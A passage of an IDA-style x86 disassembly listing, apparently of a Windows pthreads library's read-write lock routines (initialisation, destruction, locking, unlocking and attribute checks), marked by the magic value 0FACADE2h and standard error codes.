loc_431B6D:				; CODE XREF: sub_431B30+36j
		push	offset dword_50E980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431B30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431BA0	proc near		; CODE XREF: sub_401852j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
sub_431BA0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431BE0	proc near		; CODE XREF: sub_401F73j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_431BF2
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BF2:				; CODE XREF: sub_431BE0+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_431C12
		cmp	dword ptr [eax], 0
		jz	short loc_431C12
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431C12:				; CODE XREF: sub_431BE0+1Aj
					; sub_431BE0+1Fj
		push	1Ch
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431C36
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431C36:				; CODE XREF: sub_431BE0+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431C94
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431C8B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_401541
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_431CAC
		push	ebx
		call	sub_40222F
		add	esp, 4


loc_431C8B:				; CODE XREF: sub_431BE0+8Dj
		push	esi
		call	sub_40222F
		add	esp, 4


loc_431C94:				; CODE XREF: sub_431BE0+7Aj
		push	esi
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CAC:				; CODE XREF: sub_431BE0+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_431BE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431D10:				; CODE XREF: ___:004018ACj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_431E4B
		mov	esi, [eax]
		test	esi, esi
		jz	loc_431E4B
		cmp	esi, 0FFFFFFFFh
		jz	loc_431E07
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_431E4B
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_431E50
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_431D79
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431D79:				; CODE XREF: ___:00431D67j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_431DED
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_431DED
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_431DB0
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431DB0:				; CODE XREF: ___:00431D9Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_431E50
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401A91
		push	edi
		mov	ebx, eax
		call	sub_40222F
		push	esi
		mov	edi, eax
		call	sub_40222F
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 10h
		jmp	short loc_431E33
; ---------------------------------------------------------------------------


loc_431DED:				; CODE XREF: ___:00431D7Ej
					; ___:00431D88j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_431E33
; ---------------------------------------------------------------------------


loc_431E07:				; CODE XREF: ___:00431D33j
		push	offset dword_50E980
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_431E23
		mov	dword ptr [eax], 0
		jmp	short loc_431E28
; ---------------------------------------------------------------------------


loc_431E23:				; CODE XREF: ___:00431E19j
		mov	ebx, 10h


loc_431E28:				; CODE XREF: ___:00431E21j
		push	offset dword_50E980
		nop
		call	near ptr 7C9010EDh


loc_431E33:				; CODE XREF: ___:00431DEBj
					; ___:00431E05j
		test	ebx, ebx
		jz	short loc_431E3E
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E3E:				; CODE XREF: ___:00431E35j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_431E50
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E4B:				; CODE XREF: ___:00431D20j
					; ___:00431D2Aj ...
		mov	eax, 16h


loc_431E50:				; CODE XREF: ___:00431D51j
					; ___:00431DBAj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431EC0:				; CODE XREF: ___:00401E88j
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_431EE3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431EE3:				; CODE XREF: ___:00431ED2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F10:				; CODE XREF: ___:00401794j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431F31
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431F31
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431F31:				; CODE XREF: ___:00431F19j
					; ___:00431F1Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F50:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431F6D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431F6D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_431F6D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431F6D:				; CODE XREF: ___:00431F56j
					; ___:00431F5Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F90:				; CODE XREF: ___:0040159Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431FBA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_431FBA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_431FAE
		test	eax, eax
		jnz	short loc_431FBA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_431FAE:				; CODE XREF: ___:00431FA5j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_431FBA:				; CODE XREF: ___:00431F96j
					; ___:00431F9Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431FD0:				; CODE XREF: ___:00402077j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43208A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43208A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432004
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432004
		cmp	eax, 10h
		jnz	loc_43208F


loc_432004:				; CODE XREF: ___:00431FECj
					; ___:00431FF9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43208A
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43208F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43207D
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43204D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43204D:				; CODE XREF: ___:0043203Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43207D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43207D:				; CODE XREF: ___:0043202Aj
					; ___:0043206Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43208A:				; CODE XREF: ___:00431FD9j
					; ___:00431FE3j ...
		mov	eax, 16h


loc_43208F:				; CODE XREF: ___:00431FFEj
					; ___:0043201Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4320E0:				; CODE XREF: ___:0040169Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_4321AF
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4321AF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432114
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432114
		cmp	eax, 10h
		jnz	loc_4321B4


loc_432114:				; CODE XREF: ___:004320FCj
					; ___:00432109j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4321AF
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	short loc_4321B4
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4321A2
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BC2
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_432172
		cmp	ebx, 274Ch
		jnz	short loc_432163
		inc	dword ptr [esi+14h]


loc_432163:				; CODE XREF: ___:0043215Ej
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432172:				; CODE XREF: ___:00432156j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4321A2
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4321A2:				; CODE XREF: ___:00432143j
					; ___:00432191j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4321AF:				; CODE XREF: ___:004320E9j
					; ___:004320F3j ...
		mov	eax, 16h


loc_4321B4:				; CODE XREF: ___:0043210Ej
					; ___:00432133j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432200:				; CODE XREF: ___:004015C8j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_4322F6
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4322F6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432237
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432237
		cmp	eax, 10h
		jnz	loc_4322FB


loc_432237:				; CODE XREF: ___:0043221Fj
					; ___:0043222Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4322F6
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_4322FB
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43227B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43227B:				; CODE XREF: ___:00432267j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4322EA
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_432298
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_432298:				; CODE XREF: ___:00432287j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4322EA
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4322BB:				; CODE XREF: ___:004322D0j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_4322D2
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4322BB


loc_4322D2:				; CODE XREF: ___:004322C9j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4322ED
		mov	[esi+0Ch], edi


loc_4322EA:				; CODE XREF: ___:00432280j
					; ___:0043229Dj
		inc	dword ptr [esi+10h]


loc_4322ED:				; CODE XREF: ___:004322E5j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4322F6:				; CODE XREF: ___:0043220Cj
					; ___:00432216j ...
		mov	eax, 16h


loc_4322FB:				; CODE XREF: ___:00432231j
					; ___:00432251j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432360:				; CODE XREF: ___:00401951j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_432461
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432461
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432397
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432397
		cmp	eax, 10h
		jnz	loc_432466


loc_432397:				; CODE XREF: ___:0043237Fj
					; ___:0043238Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432461
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	loc_432466
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BC2
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_4323E1
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4323E1:				; CODE XREF: ___:004323CDj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432455
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4323FE
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4323FE:				; CODE XREF: ___:004323EDj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_432455
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_432421:				; CODE XREF: ___:0043243Bj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_43243D
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_432421


loc_43243D:				; CODE XREF: ___:00432434j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_432458
		mov	[esi+0Ch], edi


loc_432455:				; CODE XREF: ___:004323E6j
					; ___:00432403j
		inc	dword ptr [esi+10h]


loc_432458:				; CODE XREF: ___:00432450j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432461:				; CODE XREF: ___:0043236Cj
					; ___:00432376j ...
		mov	eax, 16h


loc_432466:				; CODE XREF: ___:00432391j
					; ___:004323B6j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4324C0:				; CODE XREF: ___:004015BEj
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_432546
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_432546
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4324DC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4324DC:				; CODE XREF: ___:004324D4j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_432546
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432524
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432502
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432502:				; CODE XREF: ___:004324FCj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_432519
		add	esi, 8
		push	esi
		call	sub_401E51
		add	esp, 4
		mov	edi, eax


loc_432519:				; CODE XREF: ___:00432509j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_43253C
; ---------------------------------------------------------------------------


loc_432524:				; CODE XREF: ___:004324EAj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_43253C:				; CODE XREF: ___:00432522j
		test	edi, edi
		jz	short loc_43254B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432546:				; CODE XREF: ___:004324C9j
					; ___:004324CFj ...
		mov	eax, 16h


loc_43254B:				; CODE XREF: ___:0043253Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432580:				; CODE XREF: ___:00401532j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43263A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43263A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4325B4
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4325B4
		cmp	eax, 10h
		jnz	loc_43263F


loc_4325B4:				; CODE XREF: ___:0043259Cj
					; ___:004325A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43263A
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	short loc_43263F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43262D
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4325FD
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4325FD:				; CODE XREF: ___:004325ECj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43262D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43262D:				; CODE XREF: ___:004325DAj
					; ___:0043261Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43263A:				; CODE XREF: ___:00432589j
					; ___:00432593j ...
		mov	eax, 16h


loc_43263F:				; CODE XREF: ___:004325AEj
					; ___:004325CAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432690:				; CODE XREF: ___:00401FD2j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_432771
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432771
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4326C4
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4326C4
		cmp	eax, 10h
		jnz	loc_432776


loc_4326C4:				; CODE XREF: ___:004326ACj
					; ___:004326B9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432771
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	loc_432776
		lea	ebx, [esi+4]
		push	ebx
		call	sub_40177B
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432709
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_432776
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432709:				; CODE XREF: ___:004326F4j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432759
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_432726
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_432726:				; CODE XREF: ___:00432715j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_432764
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_43274B
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43274B:				; CODE XREF: ___:0043273Bj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43275E


loc_432759:				; CODE XREF: ___:0043270Ej
		mov	edi, 10h


loc_43275E:				; CODE XREF: ___:00432757j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432764:				; CODE XREF: ___:0043272Bj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432771:				; CODE XREF: ___:00432699j
					; ___:004326A3j ...
		mov	eax, 16h


loc_432776:				; CODE XREF: ___:004326BEj
					; ___:004326DEj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4327C0:				; CODE XREF: ___:00401BF9j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_4327D7
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_4327D7:				; CODE XREF: ___:004327CFj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432800:				; CODE XREF: ___:00401E97j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432827
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_432827
		cmp	eax, 2
		jbe	short loc_432827
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432827:				; CODE XREF: ___:0043280Fj
					; ___:00432817j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432840:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432886
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_432886
		mov	esi, [edi]
		push	eax
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	short loc_432886
		push	0
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432886
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432886:				; CODE XREF: ___:00432852j
					; ___:0043285Aj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4328B0:				; CODE XREF: ___:00401EDDj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_4328D5
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_4328D5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4328D5:				; CODE XREF: ___:004328C0j
					; ___:004328C8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4328F0:				; CODE XREF: ___:004015B4j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_432909
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


